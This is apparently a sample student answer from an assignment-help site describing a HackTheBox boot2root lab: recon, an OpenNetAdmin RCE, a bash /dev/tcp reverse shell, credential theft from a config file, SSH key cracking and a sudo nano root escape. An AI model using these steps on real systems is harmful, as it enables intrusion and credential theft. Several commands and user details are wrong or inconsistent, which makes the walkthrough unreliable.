My Assignment Help

BIT354 Network Vulnerability Testing: Boot2root Challenge on Linux Based System Assessment Answer

BIT354 Network Vulnerability and Penetration Testing

Assignment Overview 

The assignment is to be completed individually. You are required to perform a penetration testing attack from any Hacking competition website such as HackTheBox. The attack should under the “web” or “network” categories. Other categories such as “crypto” and “forensics” are not permitted.

Step 1:

Choose one hacking challenges from any CTF web site.

Selected attacks must be:

  • Of appropriate difficulty and; 
  • Cover topics relevant to what was covered during the lecture and workshop and;
  • Require a significant amount of effort and time. I.e attacks that can be completed with a single command are not acceptable. If you are not sure about this step, ask your lecturer for some suggestions

Step 2:

Get approval for the hacking challenge from the lecturer to ensure that your attack meets the criteria listed in step 1.

Step 3:

Complete the hacking challenges.

Step 4:

Write a Penetration testing report, summarizing your findings, including remedy strategies.

1000 words maximum

 (15 marks)

Step 5:

Prepare a 5 minutes presentation (in class).  

In the presentation, you need to explain the following concepts:

  • The vulnerability and exploit
  • How the attack was performed – briefly
  • The implications: what can happen if a hacker manages to perform a similar attack to a real website or network.

(5 marks)

Answer

Introduction:

In this assessment task, we are going to conduct a boot2root challenge on Hack the Box system. This system is a Linux based system. It is basically a network based attack where we going to use several networking tools like Nmap, Netcat, Dirb and some python scripts. These tools are used to find the vulnerability in the system and the ways to log-into the system and the contents of the system is being viewed by these tools. 

The vulnerability and exploit:

A vulnerability is known as a weaker point of a system or software code that can be left while writing a code. It is usually found in a complex environment or any secured system or servers. Some vulnerability is being generated by using default settings with software, on social media platforms and with email accounts, etc. An attacker uses these vulnerabilities to attack on the system that can be known by so many means like using sniffing tools. While exploits are open door found at the system that are used to access the victim’s system. We can say that without a vulnerability there is no exploit. In this assessment, we use a vulnerable system where some ports are opened that used to run some services. We use these vulnerabilities to exploit the system.

First, we try Nmap and dirb tools to collect the information of the target system. This process is generally called Recon. In this activity, we use some tools and techniques to find the key information of the target system. We start this process with Nmap and try to find the version and open ports on the system. For this purpose, we use the below command (assuming the target system IP is 192.168.30.4) – 

$ nmap -sV -Pn 192.168.30.4command 1

Here, we able to find some open ports, system version and running services on the target system that we can use to get enter into the system. Now, we do fuzz this system and try to find accessible directories on that system, using dirb tool.

We get some directories, as a result of dirb, on this system like test2 and artwork.command 2

While checking the directories, we find a login page of open net admin or ona, in the test2 folder. We find an app version, at the login page while researching on it.

Now, we download a python code to do the exploit. First, we check that this working URL is vulnerable or not, using this code. command 3

Attack narrative:

In the above part, we find that the found URL is vulnerable to RCE. After some tries, we successfully executed the commands to exploit the system vulnerability.command 4

From the above results, we successfully connected to the target system and find a user named “user1” with uid – 43, groups - 43 and gid – 43.

Now, we use netcat tool to find out further vulnerability in this system. We try to access the reverse shell from this Linux system using this command – 

$ /bin/bash -c ‘bash -I >& /dev/tcp/<IP>/<PORT> 0> 

The result is as follow – command 5

To establish a connection to the remote host (target system), we use this command (Kili, 2020) – 

$ nc -lvp 1234

The connection is established successfully with this attempt and have access to the /opt/ona/www directory of the user user1.

Now, we started collecting the directory information and the data saved on this system using basic Linux commands like ls and found the below result. This provide us a list of files and directories saved on this system, shown in the below result.command 6

We look into several directories to find some fruitful data or information. command 7

In the above result of directory listing, the config directory has a php script which found interesting. So, we look into this script and found that this script is a database script running on local host (system) and have configured with secured credentials that are now revealed. Here is the directory listing and the found php script view – command 8

The php script has some secret credentials that can be used for login purpose. 

To further query on the found credentials, we search or the users in the home directory of this system and found two user accounts.command 9

So, we try to connect with these users via SSH to their user account using the password, we found in the script in the previous steps. The login attempt was successful, now we are able to list the files and directories of the user.command 10

Here we found the main.php file in the directory - /internal. As listed in this php code, we can able to find out the rsa key (private key for SSH) of user User3.

We found a shell script, named LinEnum.sh, to find out which ports on the remote system are open and in listening state (rebootuser/LinEnum, 2020). The script is download and executed to check the port status and found two open ports on this system.command 11

Using the curl command, we can check on which local port the main.php is executed.

The result of this command is as follow – command 12

We are successfully retrieved the SSH key from the port 52846. This key is saved in a text file and we try to crack this private SSH key to find out the password. To do this, we first switch to root account and try to crack this key using John the Ripper tool (Chandel, 2020). Here are the steps – 

From the above steps, we are successfully getting the password from the ssh key for user2. Now we switched back to the user User2 to check the password is working or not, using ssh to the user account.

The attempt is successful and we logged into the user account.command 13

Implication of attack:

To conduct a successful cyber-attack, we need to have complete access of the target system so that we can do major damage to it. This term is called implication which can affect a business or system to the most. For this purpose, we take root or admin level access of the system by modifying system entries via system files. 

We find the directories where we didn’t need root privilege to access any file or directory in this system. For this, we execute the below command – 

$ sudo -l

Here, we have the directory - /bin/nano, where we did not need to enter root password. We can switch our privilege from user to root from /opt/priv file, using the below script – 

$ reset; sh 1>&0 2>&0

We can now check our access privilege by running ‘whoami’ and found that we are now have access of root account and have full control of the system.command 14

Conclusion

In this assessment task, the boot2root challenge, we have a target system on which we will do some hacking attacks and try to find out the vulnerabilities on that system. For this purpose, we use several command lines tools like nmap, dirb, netcat, shell and python scripts to find the vulnerabilities in the system. First, we search for the open ports and running services ono the target system. Based on the result, we further try to access the system using those services and open ports. At the end of the task, we have complete access of the system with root privilege and we can access all the system’s files and directories.

Customer Testimonials